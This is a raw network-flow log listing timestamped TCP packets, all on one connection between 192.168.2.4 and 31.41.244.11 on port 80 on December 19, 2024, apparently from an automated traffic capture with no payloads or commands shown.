Dec 19, 2024 06:09:50.930561066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.930665970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.931703091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.931791067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.931838989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.932811975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.933140039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.933229923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.933981895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.934016943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.935132980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.935168982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.935220957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.936209917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.936245918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.936288118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.937216997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.937319040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.937345028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.938344002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.938395023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.938477993 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.939373970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.939600945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.939723015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.940529108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.940563917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.941036940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.941669941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.941721916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.941837072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.942765951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.942821980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.942825079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.943837881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.943924904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.943985939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.944926023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.945071936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.945127010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.946048021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.946248055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.946329117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.947137117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.947264910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.947339058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.948268890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.948385000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.949359894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.949474096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.949477911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.949551105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.950484991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.950615883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.950758934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.951570988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.951781988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.952157974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.952708960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.952862978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.952924013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.953809023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.953942060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.954301119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.954946041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.955038071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.955064058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.956017017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.956135035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.956191063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.957201958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.957300901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.958239079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.958334923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.958390951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.959355116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.959450960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.959515095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.960119009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.960447073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.960575104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.961292028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.961587906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.961663961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.961724997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.962672949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.962757111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.962879896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.963907957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.963943005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.964006901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.964006901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.964886904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.964991093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.965112925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.966018915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.966666937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.966720104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.967277050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.967310905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.967463970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.968256950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.968362093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.968967915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.969429970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.969465017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.969554901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.969554901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.970444918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.970565081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.970638037 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.971681118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.971714973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.972156048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.972743988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.972855091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.973865986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.973898888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.974188089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.974188089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.974870920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.975001097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.975178957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.976008892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.976087093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.976142883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.976233006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.977083921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.977247000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.977386951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.978183031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.978245020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.978302956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.978966951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.979309082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.979372025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.979422092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.979470968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.980406046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.983596087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.114474058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.114599943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.114619017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.114744902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.115021944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.115082979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.115118027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.115329981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.116035938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.116164923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.116225004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.117183924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.117218971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.117291927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.117291927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.118273020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.118335009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.118355036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.119383097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.119436979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.119498014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.120111942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.120512009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.120589018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.120594978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.121141911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.121571064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.121700048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.121762037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.121998072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.122673035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.122770071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.122781038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.123059988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.123827934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.123991013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.124075890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.124125004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.124954939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.125010014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.125089884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.126034021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.126127958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.126219988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.127114058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.127353907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.128000021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.128197908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.128341913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.128495932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.129424095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.129457951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.129540920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.130515099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.130548954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.130614042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.130675077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.131629944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.131664038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.131755114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.132719040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.132775068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.132878065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.133795977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.133881092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.133887053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.134871006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.134958029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.134963036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.135097027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.135987043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.136059999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.136059999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.136225939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.137052059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.137149096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.137284994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.137737036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.138199091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.138287067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.138318062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.138880014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.139394045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.139429092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.139974117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.140373945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.140475035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.141556025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.141608000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.141644955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.142209053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.142643929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.142771006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.143291950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.143718004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.143789053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.143850088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.144821882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.144872904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.144932032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.145365000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.146001101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.146055937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.146084070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.146128893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.147089005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.147187948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.147339106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.148163080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.148288965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.148385048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.148385048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.149285078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.149378061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.149379015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.149763107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.150358915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.150516987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.150768042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.151592970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.151628971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.151922941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.152659893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.152936935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.152993917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.153708935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.153911114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.154108047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.154777050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.155117989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.155179024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.155328989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.155981064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.156017065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.156076908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.156076908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.157124996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.157159090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.157286882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.157674074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.158113003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.158201933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.158210993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.159220934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.159291029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.159367085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.160047054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.160342932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.160413980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.160470963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.160628080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.161475897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.161541939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.161602020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.162004948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.162594080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.162684917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.163662910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.163767099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.163795948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.163991928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.164822102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.164875031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.164943933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.165992022 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.166028023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.166199923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.167105913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.167140961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.167217970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.167217970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.168174982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.168209076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.168265104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.169209957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.169327021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.169414043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.170355082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.170417070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.170435905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.170528889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.171446085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.171514034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.171595097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.172435999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.172549009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.306509018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.306536913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.306600094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.307041883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.307123899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.307179928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.307251930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.308156013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.308410883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.308443069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.308511019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.309345007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.309371948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.309401035 CET	49860	80	192.168.2.4	31.41.244.11
